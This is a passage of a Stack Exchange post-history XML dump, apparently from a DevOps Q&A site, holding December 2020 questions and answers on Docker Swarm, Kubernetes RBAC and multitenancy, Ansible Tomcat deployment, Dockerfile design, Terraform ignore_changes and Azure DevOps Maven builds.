*:13306-&gt;3306/tcp&#xD;&#xA;        e083ij8abje1        site1_drupal                replicated          1/1                 animage2/drupal:d7             *:7150-&gt;80/tcp&#xD;&#xA;        sejb0f2mfo22        site1_drush                 replicated          0/1                 drush/drush:latest         &#xD;&#xA;        kbae02doa8rs        site1_haproxy               replicated          2/2                 haproxy:alpine             &#xD;&#xA;        khgmnu1566rb        site2_db                    replicated          1/1                 mariadb:latest             &#xD;&#xA;        notoc1fam1gk        site3_drupal                replicated          1/1                 animage1/drupal:d8             *:7160-&gt;80/tcp&#xD;&#xA;        0xtxx4jmmwa3        site4_db                    replicated          1/1                 mariadb:latest            &#xD;&#xA;    &#xD;&#xA;    etc...&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I can look at this list above, and pick out a line and say &quot;that's the site&quot;.&#xD;&#xA;&#xD;&#xA;**So here's the blocker:** &#xD;&#xA;&#xD;&#xA;Having picked out a line, I've got an ID, say `e083ij8abje1` for a service running Drupal. &#xD;&#xA;&#xD;&#xA;Now I want to ssh into a Docker container inside that Docker Service to do the upgrade.&#xD;&#xA;&#xD;&#xA;There's this command for ssh-ing into a Docker container:&#xD;&#xA;&#xD;&#xA;    docker exec -it &lt;container_id&gt; /bin/bash &#xD;&#xA;&#xD;&#xA;Where container is a Hexadecimal number e.g. `a1b2c3d4ee8` so it would e.g. look like  `docker exec -it a1b2c3d4ee8 /bin/bash` &#xD;&#xA;&#xD;&#xA;But I don't have the Docker container ID, I have the Docker Service ID which is an alphanumeric number, as in the above example `e083ij8abje1` - this won't work for the above docker exec command.&#xD;&#xA;&#xD;&#xA;So I need a docker command that lists the Docker Container IDs that belong to a Docker Service.&#xD;&#xA;&#xD;&#xA;To my surprise, there doesn't seem to be one!&#xD;&#xA;&#xD;&#xA;I know I can also list the Docker Containers&#xD;&#xA;&#xD;&#xA;    $ docker ps&#xD;&#xA;    CONTAINER ID        IMAGE                  COMMAND                  CREATED             STATUS              PORTS                    NAMES&#xD;&#xA;    d5d45a94d45e        haproxy:alpine         &quot;/docker-entrypoint.…&quot;   3 days ago          Up 3 days                                    db_proxy_haproxy.2.91aw0apofd3iw537d249pyi62&#xD;&#xA;    6a4676df2b3a        22dbb7890585           &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site2_db.1.xxizdccg9a2hgf83tcgg1tkaej&#xD;&#xA;    538172a86a57        site1/drupal:asite      &quot;docker-php-entrypoi…&quot;  3 days ago          Up 3 days           80/tcp                   site3.1.uofsfssl72aj867r0hfs86i7m24linae8&#xD;&#xA;    2d487ea3788e        22dbb7890585           &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site4_db.1.3lnd0f9sl027f0skgza3kq373c0&#xD;&#xA;    d671069584d7        mariadb:latest         &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site5.1.xoy0r6720362hlkhksu2qd&#xD;&#xA;    beb6bcb66f43        mariadb:latest         &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site2.1.kobk423624kljfs1uhpflfs3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But this doesn't tell me what Service a Docker Container is running in.  Neither command gives me the full information and that's frustrating. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Research done already**&#xD;&#xA;&#xD;&#xA; - [How to get container id of a docker service][1] Various answers that don't seem to work for me and they are convoluted not simple commands, I'm using Docker 19.03&#xD;&#xA;&#xD;&#xA; - [Swarm mode: getting Container ID from Task ID][2] Nothing definitive here stands out. And they've introduced the idea of &quot;Task&quot; - what is that in relation to Docker, Service, Containe?&#xD;&#xA;&#xD;&#xA; - I also found several similar question / answers that were just wordy and pointing to the general documentation.  Not very helpful as they don't show by example.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm trying my best to understand these concepts and have drawn a diagram below. ( Please confirm that Docker Containers belong to a Service. )&#xD;&#xA;&#xD;&#xA;Yes, I understand that Docker Swarm is declarative and can allocate Containers where it decides are best, in terms of running them on a particular node.  That seems to be the approach encountered whenever I've been trying to find this answer, answers seem to want to give too much information for the reader, when what the reader needs is specific practical examples,  not loads of theory and concepts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So to summarise what I am looking for is a simple command or 2 that enables me to:&#xD;&#xA;&#xD;&#xA;- list the Docker Containers by ID that belong to a Service,  given the Service ID / name to start with&#xD;&#xA;- for a given Docker Container and ID, find out what Docker Service it belongs to.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am aware about Docker Swarm end-of-life so don't want answers telling me to use something else. please.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![How I think Docker is organised][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/43868379/how-to-get-container-id-of-a-docker-service&#xD;&#xA;  [2]: https://github.com/moby/moby/issues/25871&#xD;&#xA;  [3]: https://i.stack.imgur.com/dOHdo.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39678" PostHistoryTypeId="2" PostId="12940" RevisionGUID="6b335031-83a5-41d6-a220-ab21b8346670" CreationDate="2020-12-08T07:53:57.250" UserId="25050" Text="Does K8S RoleBinding or ClusterRoleBidning support reference using roleRef multiple roles? or do I have to create a binding for each role I want to give the user or group?&#xD;&#xA;&#xD;&#xA;Something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: rbac.authorization.k8s.io/v1&#xD;&#xA;kind: ClusterRoleBinding&#xD;&#xA;metadata:&#xD;&#xA;  name: dev-user-binding&#xD;&#xA;  namespace: xxxnamexxx&#xD;&#xA;subjects:&#xD;&#xA;- kind: ServiceAccount&#xD;&#xA;  name: dev-user&#xD;&#xA;  namespace: xxxnamexxx&#xD;&#xA;roleRef:&#xD;&#xA;  apiGroup: rbac.authorization.k8s.io&#xD;&#xA;  kind: ClusterRole&#xD;&#xA;  **name: tigera-ui-user**&#xD;&#xA;  apiGroup: rbac.authorization.k8s.io&#xD;&#xA;  kind: ClusterRole&#xD;&#xA;  **name: tigera-dev-user**&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;&#xD;&#xA;Oren " ContentLicense="CC BY-SA 4.0" />
  <row Id="39679" PostHistoryTypeId="1" PostId="12940" RevisionGUID="6b335031-83a5-41d6-a220-ab21b8346670" CreationDate="2020-12-08T07:53:57.250" UserId="25050" Text="Multiple roleRef in RoleBinding or ClusterRoleBinding" ContentLicense="CC BY-SA 4.0" />
  <row Id="39680" PostHistoryTypeId="3" PostId="12940" RevisionGUID="6b335031-83a5-41d6-a220-ab21b8346670" CreationDate="2020-12-08T07:53:57.250" UserId="25050" Text="&lt;kubernetes&gt;&lt;role-based-access-control&gt;&lt;rbac&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39681" PostHistoryTypeId="5" PostId="12902" RevisionGUID="ceef684e-6d4d-4c35-969b-3fc3b0a2ecc1" CreationDate="2020-12-08T08:19:54.253" UserId="354" Comment="fix yaml syntax" Text="I execute an Ansible playbook with  an `ansible` user. The playbook executes properly, with no errors in the application log, no errors in the Ansible log. This `.war` usually deploys with user &quot;tomcat&quot; when the deploy is manual. &#xD;&#xA;&#xD;&#xA;Could this be the cause of the problem? Execute playbook with different users&#xD;&#xA;&#xD;&#xA;This is my playbook (syntax is correct):&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: Deploy war&#xD;&#xA;  hosts: grupo1&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Stop Tomcat&#xD;&#xA;      command: systemctl stop tomcat&#xD;&#xA;&#xD;&#xA;    - name: Delete old war1&#xD;&#xA;      command: rm -rf /opt/tomcat/catalina_base/webapps.old/portal-admin&#xD;&#xA;      args:&#xD;&#xA;        warn: false&#xD;&#xA;&#xD;&#xA;    - name: Delete old war&#xD;&#xA;      command: rm -rf /opt/tomcat/catalina_base/webapps.old/portal-client&#xD;&#xA;      args:&#xD;&#xA;        warn: false&#xD;&#xA;&#xD;&#xA;    - name: Copy the old war&#xD;&#xA;      copy:&#xD;&#xA;        src: /opt/tomcat/catalina_base/webapps/portal-client&#xD;&#xA;        remote_src: true&#xD;&#xA;        dest: /opt/tomcat/catalina_base/webapps.old/&#xD;&#xA;&#xD;&#xA;    - name: Copy the old war2&#xD;&#xA;      copy:&#xD;&#xA;        src: /opt/tomcat/catalina_base/webapps/portal-admin&#xD;&#xA;        remote_src: true&#xD;&#xA;        dest: /opt/tomcat/catalina_base/webapps.old/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - name: delte the war fileclient&#xD;&#xA;      shell: /bin/rm -rf /opt/tomcat/catalina_base/webapps/portal-client/*&#xD;&#xA;      args:&#xD;&#xA;        warn: false&#xD;&#xA;&#xD;&#xA;    - name: deploy warclient&#xD;&#xA;      command: unzip /tmp/portal-client.war -d /opt/tomcat/catalina_base/webapps/portal-client/&#xD;&#xA;        args:&#xD;&#xA;          warn: false&#xD;&#xA;&#xD;&#xA;    - name: delete the war fileadmin&#xD;&#xA;      shell: /bin/rm -rf /opt/tomcat/catalina_base/webapps/portal-admin/*&#xD;&#xA;      args:&#xD;&#xA;        warn: false&#xD;&#xA;&#xD;&#xA;    - name: deploy waradmin&#xD;&#xA;      command: unzip /tmp/portal-admin.war -d /opt/tomcat/catalina_base/webapps/portal-admin/&#xD;&#xA;      args:&#xD;&#xA;        warn: false&#xD;&#xA;&#xD;&#xA;    - name: Start tomcat&#xD;&#xA;      command: systemctl start tomcat&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The error when I execute the playbook is&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Proxy Error&#xD;&#xA;The proxy server received an invalid response from an upstream server.&#xD;&#xA;The proxy server could not handle the request GET /portal-client/cm/misalud/.&#xD;&#xA;&#xD;&#xA;Reason: Error reading from remote server&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="39685" PostHistoryTypeId="2" PostId="12942" RevisionGUID="5dee6077-75a4-42ef-b5af-f210e6edb38d" CreationDate="2020-12-08T14:56:28.360" UserId="25055" Text="I want dockerize my php application and deploy in production. Here is my application structure :&#xD;&#xA;&#xD;&#xA;    api&#xD;&#xA;    |&#xD;&#xA;    +-- src&#xD;&#xA;    +-- config&#xD;&#xA;    +-- vendor&#xD;&#xA;    +-- tests&#xD;&#xA;    +-- public&#xD;&#xA;&#xD;&#xA;I need to embed `api/*` in my container and I'm confused about the best approach. &#xD;&#xA;Here is mine :&#xD;&#xA;&#xD;&#xA; 1. A light multi-stage docker image (around 85 mb but can be more optimized)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        FROM php:7.4-fpm-alpine AS base&#xD;&#xA;    &#xD;&#xA;        WORKDIR /var/www/html&#xD;&#xA;        ENV COMPOSER_ALLOW_SUPERUSER 1&#xD;&#xA;        RUN apk update &amp;&amp; \&#xD;&#xA;          docker-php-ext-install mysqli tokenizer pdo_mysql &amp;&amp; \&#xD;&#xA;          curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer&#xD;&#xA;    &#xD;&#xA;        FROM base AS dev&#xD;&#xA;    &#xD;&#xA;        COPY xdebug.ini /usr/local/etc/php/conf.d/xdebug-dev.ini&#xD;&#xA;        RUN apk add --no-cache --virtual .phpize-deps $PHPIZE_DEPS &amp;&amp; \&#xD;&#xA;          pecl install xdebug-2.9.1 &amp;&amp; \&#xD;&#xA;          docker-php-ext-enable xdebug &amp;&amp; \&#xD;&#xA;          touch /tmp/xdebug.log &amp;&amp; \&#xD;&#xA;          chmod -R 666 /tmp/xdebug.log &amp;&amp; \&#xD;&#xA;          apk del -f .phpize-deps&#xD;&#xA;&#xD;&#xA;2. A mounted volume (docker-compose.yml)&#xD;&#xA;&#xD;&#xA;       api:&#xD;&#xA;         volumes:&#xD;&#xA;           - ./api:/var/www/html&#xD;&#xA;         command: composer install &amp;&amp; php-fpm;&#xD;&#xA;&#xD;&#xA;I saw a lot of docker images using `COPY ..` instruction in `Dockerfile` instead of volumes. In my opinion, `COPY` is great to copy small config files (or a small build for compiled languages) but it's not optimized to keep the images small (basic rule with docker).&#xD;&#xA;&#xD;&#xA;Am I missing the point ? &#xD;&#xA;For example, is it a bad practice to handle volumes outside the dev environment ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39686" PostHistoryTypeId="1" PostId="12942" RevisionGUID="5dee6077-75a4-42ef-b5af-f210e6edb38d" CreationDate="2020-12-08T14:56:28.360" UserId="25055" Text="Use a volume or copy my artefacts into docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="39687" PostHistoryTypeId="3" PostId="12942" RevisionGUID="5dee6077-75a4-42ef-b5af-f210e6edb38d" CreationDate="2020-12-08T14:56:28.360" UserId="25055" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39689" PostHistoryTypeId="2" PostId="12943" RevisionGUID="f263b8f1-a202-47c6-863a-c78a60df41fe" CreationDate="2020-12-08T16:19:44.690" UserId="25060" Text="Initially namespaces have been created to enable logical partitioning of a single Kubernetes cluster in order to prevent naming conflicts.&#xD;&#xA;Over time, this changed. While [this article from 2016][1] sais &#xD;&#xA;&#xD;&#xA;&gt; Any user or resource in a Kubernetes cluster may access any other resource in the cluster regardless of namespace. So, if you need to protect or isolate resources, the ultimate namespace is a separate Kubernetes cluster [...]&#xD;&#xA;&#xD;&#xA;With [RBAC][2] it's now possible to set permissions on a specific namespace and thus restrict authenticated users to specific namespaces and their resources.&#xD;&#xA;&#xD;&#xA;So, if I get this right, the quote from above is outdated. With RBAC in place it's possible to make sure a user or resource may only access stuff in their own namespace. **Is that correct?**&#xD;&#xA;I struggle to find recent documentation that explicitly sais that it's fine use namespaces (with RBAC) to seperate tenants from accessing each others stuff. Does anyone use namespaces and RBAC to seperate (unfriendly) tenants? Is there any clear statement about this from the CNCF?&#xD;&#xA;&#xD;&#xA;If so, purely from a security perspective, what level of isolation are we talking about here? Clearly, the cluster IP would be accessible to all tenants and even with quotas in place I can imagine simple DOS attacks that might break a single cluster. Simple RBAC misconficutions might leak data between tenants and of course there's also the risk of implementation error and future exploitation. But if we consider those things &quot;acceptable&quot;, are namespaces really a good tool for tenant isolation?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/blog/2016/08/kubernetes-namespaces-use-cases-insights/&#xD;&#xA;  [2]: https://kubernetes.io/docs/reference/access-authn-authz/rbac/" ContentLicense="CC BY-SA 4.0" />
  <row Id="39690" PostHistoryTypeId="1" PostId="12943" RevisionGUID="f263b8f1-a202-47c6-863a-c78a60df41fe" CreationDate="2020-12-08T16:19:44.690" UserId="25060" Text="Namespaces with RBAC: sufficient for tenant isolation in a public environment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39691" PostHistoryTypeId="3" PostId="12943" RevisionGUID="f263b8f1-a202-47c6-863a-c78a60df41fe" CreationDate="2020-12-08T16:19:44.690" UserId="25060" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39692" PostHistoryTypeId="2" PostId="12944" RevisionGUID="56eb45b7-1ccc-449d-af6c-45b36368cd90" CreationDate="2020-12-08T16:19:54.670" UserId="12936" Text="**Context***&#xD;&#xA;&#xD;&#xA;I forgot to pass the &quot;--tail&quot; options to the &quot;docker logs&quot; command when inspecting a running container. The affected container dumps tens of millions of logs. &#xD;&#xA;&#xD;&#xA;The command line was something like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  $ docker logs contianer01 | vim -&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When executing such line my server becomes completely unresponsive for minutes due to exhaution of free RAM memory with peak loads beyond 60x100%. I loose control of the terminal and ssh connection fails. &#xD;&#xA;&#xD;&#xA;***Question***:&#xD;&#xA;Is it any tunning in docker to &quot;fail fast&quot; and forbid such big log outputs in first place (maybe tunning ulimits for the docker daemon in some config file)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;***NOTE***: Probably &quot;ulimit&quot;, &quot;resource-control&quot; and &quot;linux&quot; tags must be added to this question but I have not enough &quot;reputation&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="39693" PostHistoryTypeId="1" PostId="12944" RevisionGUID="56eb45b7-1ccc-449d-af6c-45b36368cd90" CreationDate="2020-12-08T16:19:54.670" UserId="12936" Text="any way to limit &quot;docker logs&quot; output by default?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39694" PostHistoryTypeId="3" PostId="12944" RevisionGUID="56eb45b7-1ccc-449d-af6c-45b36368cd90" CreationDate="2020-12-08T16:19:54.670" UserId="12936" Text="&lt;docker&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39695" PostHistoryTypeId="2" PostId="12945" RevisionGUID="d0ec87db-ab14-4d10-937d-3a3710f70ccd" CreationDate="2020-12-08T19:39:14.633" UserId="25066" Text="So, I installed kali linux with command:&#xD;&#xA;&#xD;&#xA;&gt; docker pull kalilinux/kali-rolling&#xD;&#xA;&#xD;&#xA;Then I installed net-tools to do ifconfig.&#xD;&#xA;&#xD;&#xA;ifconfig shows eth0, lo (loopback), but no wifi card.&#xD;&#xA;&#xD;&#xA;Why docker sees my wifi card as a eth0 adapter instead of a wlan0?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39696" PostHistoryTypeId="1" PostId="12945" RevisionGUID="d0ec87db-ab14-4d10-937d-3a3710f70ccd" CreationDate="2020-12-08T19:39:14.633" UserId="25066" Text="docker kali linux container: wireless card is seen as eth0" ContentLicense="CC BY-SA 4.0" />
  <row Id="39697" PostHistoryTypeId="3" PostId="12945" RevisionGUID="d0ec87db-ab14-4d10-937d-3a3710f70ccd" CreationDate="2020-12-08T19:39:14.633" UserId="25066" Text="&lt;docker&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39704" PostHistoryTypeId="2" PostId="12947" RevisionGUID="b513a6a4-dfb9-44a1-845e-af720b66edbf" CreationDate="2020-12-08T21:46:18.100" UserId="22660" Text="I'm currently trying to get CloudWatch logging and DMS configuration working smoothly in my module by ignoring certain attributes on `replication_task_settings`. Right now, I have a DMS replication task that looks like the following:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_dms_replication_task&quot; &quot;main&quot; {&#xD;&#xA;  migration_type            = &quot;full-load-and-cdc&quot;&#xD;&#xA;  replication_instance_arn  = var.replication_instance_arn&#xD;&#xA;  replication_task_id       = &quot;${var.environment}-${var.customer}-dms-replication-task-ongoing-main-${var.engine}&quot;&#xD;&#xA;  source_endpoint_arn       = var.source_endpoint_arn&#xD;&#xA;  target_endpoint_arn       = var.target_endpoint_arn&#xD;&#xA;  replication_task_settings = jsonencode(local.task_settings)&#xD;&#xA;  table_mappings            = jsonencode(local.table_mappings)&#xD;&#xA;  tags                      = merge({}, local.additional_labels)&#xD;&#xA;&#xD;&#xA;  lifecycle {&#xD;&#xA;    ignore_changes = [&#xD;&#xA;      replication_task_settings&#xD;&#xA;    ]&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With this configuration, I'm ignoring all future changes to `replication_task_settings`. What I would like to do is only ignore changes to only `Logging.CloudWatchLogGroup` and `Logging.CloudWatchLogStream` (not all of the task settings) since DMS creates these for you and you can't change them. The problem is that the `replication _task_settings` is a JSON-encoded attribute. If I try to do `ignore_changes = [replication_task_settings[&quot;Logging&quot;][&quot;CloudWatchLogStream&quot;]]`, I get this error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Error: Invalid index&#xD;&#xA;&#xD;&#xA;  on modules/repl-ongoing/main.tf line 250, in resource &quot;aws_dms_replication_task&quot; &quot;main&quot;:&#xD;&#xA; 250:       replication_task_settings[&quot;Logging&quot;][&quot;CloudWatchLogStream&quot;]&#xD;&#xA;&#xD;&#xA;This value does not have any indices.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If I try to decode the JSON by doing: `ignore_changes = [jsondecode(replication_task_settings)[&quot;Logging&quot;][&quot;CloudWatchLogStream&quot;]]`, I get the following error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Error: Invalid expression&#xD;&#xA;&#xD;&#xA;  on modules/repl-ongoing/main.tf line 250, in resource &quot;aws_dms_replication_task&quot; &quot;main&quot;:&#xD;&#xA; 250:       jsondecode(replication_task_settings)[&quot;Logging&quot;][&quot;CloudWatchLogStream&quot;]&#xD;&#xA;&#xD;&#xA;A single static variable reference is required: only attribute access and&#xD;&#xA;indexing with constant keys. No calculations, function calls, template&#xD;&#xA;expressions, etc are allowed here.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is there a way I can ignore changes to specific properties of JSON-encoded attributes? Or is there another workaround with DMS tasks that I have to go with?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39705" PostHistoryTypeId="1" PostId="12947" RevisionGUID="b513a6a4-dfb9-44a1-845e-af720b66edbf" CreationDate="2020-12-08T21:46:18.100" UserId="22660" Text="Terraform ignore_changes block on JSON-encoded attribute" ContentLicense="CC BY-SA 4.0" />
  <row Id="39706" PostHistoryTypeId="3" PostId="12947" RevisionGUID="b513a6a4-dfb9-44a1-845e-af720b66edbf" CreationDate="2020-12-08T21:46:18.100" UserId="22660" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39709" PostHistoryTypeId="2" PostId="12948" RevisionGUID="b1c1eaa4-3ca3-48cf-9646-2f7171ba13b0" CreationDate="2020-12-09T00:13:48.153" UserId="2463" Text="Due to how that resource type is designed, from Terraform's standpoint `replication_task_settings` is just an opaque string and so Terraform can either detect that the string has changed (the default) or ignore changes to the string as a whole.&#xD;&#xA;&#xD;&#xA;There is no way to ignore changes to only part of a string, because Terraform implements `ignore_changes` by taking the previous value of that argument instead of the new value. Terraform doesn't and can't know how to construct an new string that combines some characters from the old string and some characters from the new string, because it has no awareness of the meaning of that string.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39710" PostHistoryTypeId="4" PostId="12943" RevisionGUID="39d64838-ad8b-4636-ad68-0025901be9fd" CreationDate="2020-12-09T07:07:30.110" UserId="25060" Comment="edited title" Text="Kubernetes namespaces with RBAC: sufficient for tenant isolation in a public environment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39711" PostHistoryTypeId="5" PostId="1202" RevisionGUID="8ebadd01-0b94-4c76-82cd-fed6f61dc1bc" CreationDate="2020-12-09T14:51:55.787" UserId="2449" Comment="Note that travis-ci should not be used" Text="&gt; **Notice**: [As of May 2018][1], travis-ci.org should no longer be used. Please refer to [beatngu13's answer][2] for updated information.&#xD;&#xA;&#xD;&#xA;###  Aside from pricing model, the two sites are identical.&#xD;&#xA;&#xD;&#xA;- [travis-ci.org][3] is a free service for public open source projects.&#xD;&#xA;- [travis-ci.com][4] is a paid service for private commercial projects.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;[From the FAQ page for Travis Pro][5]&#xD;&#xA;&#xD;&#xA;&gt; ### Why can’t I find information on pricing on travis-ci.org?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Travis CI is, and always will be, free for open source projects.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For a list of plans and prices for private repositories, look at&#xD;&#xA;&gt; [travis-ci.com/plans][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.travis-ci.com/2018-05-02-open-source-projects-on-travis-ci-com-with-github-apps&#xD;&#xA;  [2]: https://devops.stackexchange.com/a/4305/2449&#xD;&#xA;  [3]: https://travis-ci.org/&#xD;&#xA;  [4]: https://travis-ci.com/&#xD;&#xA;  [5]: https://docs.travis-ci.com/user/travis-pro/#Why-can%E2%80%99t-I-find-information-on-pricing-on-travis-ci.org%3F&#xD;&#xA;  [6]: https://travis-ci.com/plans" ContentLicense="CC BY-SA 4.0" />
  <row Id="39712" PostHistoryTypeId="2" PostId="12949" RevisionGUID="794e808e-36ef-4496-a69d-22fc977fb8a4" CreationDate="2020-12-09T15:00:41.810" UserId="17329" Text="I have a requirement to distribute pods of a given deployment across 3 AZ. We are using HPA with 3 min and max 5 setup. The worker nodes are 12 initially in EKS cluster with maximum of 15. How can I make sure that in each zone there will be 1 pods and if all 3 get one and HPA scale to 4 or 5 that they will be equally distribute on top example (A1 B1 C1) followed by (A2 B2 C1)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39713" PostHistoryTypeId="1" PostId="12949" RevisionGUID="794e808e-36ef-4496-a69d-22fc977fb8a4" CreationDate="2020-12-09T15:00:41.810" UserId="17329" Text="Schedule K8s pods to multiple AZ evenly in EKS 1.18" ContentLicense="CC BY-SA 4.0" />
  <row Id="39714" PostHistoryTypeId="3" PostId="12949" RevisionGUID="794e808e-36ef-4496-a69d-22fc977fb8a4" CreationDate="2020-12-09T15:00:41.810" UserId="17329" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;yaml&gt;&lt;helm&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39715" PostHistoryTypeId="2" PostId="12950" RevisionGUID="a42fc548-b112-4204-93fb-182fb2a30b3e" CreationDate="2020-12-09T16:04:24.370" UserId="7730" Text="There's an active [SIG devoted to multitenancy](https://github.com/kubernetes-sigs/multi-tenancy) so I have a hard time believing that nothing has been written about it in 4 years.&#xD;&#xA;&#xD;&#xA;Namespaces are only part of the answer. That isolates kubernetes objects impacting other kubernetes objects, but you also need to worry about shared resources like the ingress namespace. If containers share worker nodes, then there are resource limits to enforce. And the default network model used by kubernetes is flat with DNS exposing services and containers in other namespaces and an open network policy allowing any container to talk to any other container. The kubernetes API is also shared in a multi-tenant environment, allowing a DoS to the kubernetes infrastructure itself. And if users are allowed to run containers with added capabilities, privileged access, host bind mounts, host namespaces, and probably many other features, they can escape the container isolation and get root access on the host running the containers. None of this is trivial to implement securely." ContentLicense="CC BY-SA 4.0" />
  <row Id="39717" PostHistoryTypeId="2" PostId="12951" RevisionGUID="7658a7a4-b9e7-4636-a16e-f33b57532a43" CreationDate="2020-12-09T19:54:28.667" UserId="25082" Text="I'm trying to learn about virtualization and containers. In an educational video it is said that the introduction of virtual machines was a big deal because it made companies available to run multiple server instances on the same machine, so they did not have to necessarily buy a new machine just to run a new instance.&#xD;&#xA;&#xD;&#xA;But what if I have a Node.js server application? I could run multiple of those on the same machine without any kind of virtualization. Why is even running multiple instances necessary? Why were virtual machines needed? My best guess is that Node.js is designed to support running multiple instances (the instances doesn't &quot;know&quot; about each other), therefore they are not needed, but back then the servers that they used would have &quot;known&quot; about each other if they weren't separated by virtual servers.&#xD;&#xA;&#xD;&#xA;Do people do the same using containers? If I have a microservices architecture, and let's say that I only have one computer, am I using containers only to check whether they run correctly in different environments, or do I create multiple of even the same microservice?&#xD;&#xA;&#xD;&#xA;Please excuse my sloppy wording, I mainly try to get what is it that I'm actually missing / misunderstanding, and I try to convey my abstract, high-level understanding of the issue.&#xD;&#xA;&#xD;&#xA;Link to video: https://youtu.be/JSLpG_spOBM?t=77" ContentLicense="CC BY-SA 4.0" />
  <row Id="39718" PostHistoryTypeId="1" PostId="12951" RevisionGUID="7658a7a4-b9e7-4636-a16e-f33b57532a43" CreationDate="2020-12-09T19:54:28.667" UserId="25082" Text="Why is it necessary to have virtual machines to run multiple server instances?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39719" PostHistoryTypeId="3" PostId="12951" RevisionGUID="7658a7a4-b9e7-4636-a16e-f33b57532a43" CreationDate="2020-12-09T19:54:28.667" UserId="25082" Text="&lt;containers&gt;&lt;microservices&gt;&lt;node.js&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39720" PostHistoryTypeId="2" PostId="12952" RevisionGUID="d299a7a2-5b88-4b9b-bd4d-597853aa184a" CreationDate="2020-12-09T21:07:23.760" UserId="124" Text="To copy into the image or to mount volumes--my advice: &#xD;&#xA;&#xD;&#xA; - if the files will change infrequently, then copy them into the image, with the understanding that if they need to be modified, you will need to rebuild the image. &#xD;&#xA; - if you need to frequently change the files, or store some kind of state about the files (and re-use them with future container instances of the image), then mount them as volumes." ContentLicense="CC BY-SA 4.0" />
  <row Id="39722" PostHistoryTypeId="2" PostId="12953" RevisionGUID="e666e16b-c719-4d07-970b-1d34a00ff4c6" CreationDate="2020-12-10T05:51:01.850" UserId="24583" Text="Using [Azure devops][1] triggering a maven build where project has dependencies, I have installed the dependency using&#xD;&#xA;&#xD;&#xA;mvn install:install-file -DgroupId=com.xxxx.xxxxx -DartifactId=xxxxx -Dversion=xxxxx -Dpackaging=jar -Dfile=xxxxxx -DgeneratePom=true. Maven repo is locally in &quot;C:\users\userid.m2\repository&quot;&#xD;&#xA;&#xD;&#xA;for the azure devops agent the maven repo location is &quot;C:\windows\system32\config\systemprofile.m2\repository&quot; like this I have 7 project dependencies and installed all the dependencies for the project. when I run &quot;mvn clean install&quot; in the agent locally the build is successful but when i try trigger it through azure devops I get the error project dependencies couldn't be resolved.&#xD;&#xA;&#xD;&#xA;Know someone who can answer?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/azure-devops-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="39723" PostHistoryTypeId="1" PostId="12953" RevisionGUID="e666e16b-c719-4d07-970b-1d34a00ff4c6" CreationDate="2020-12-10T05:51:01.850" UserId="24583" Text="azure devops agent maven dependencies" ContentLicense="CC BY-SA 4.0" />
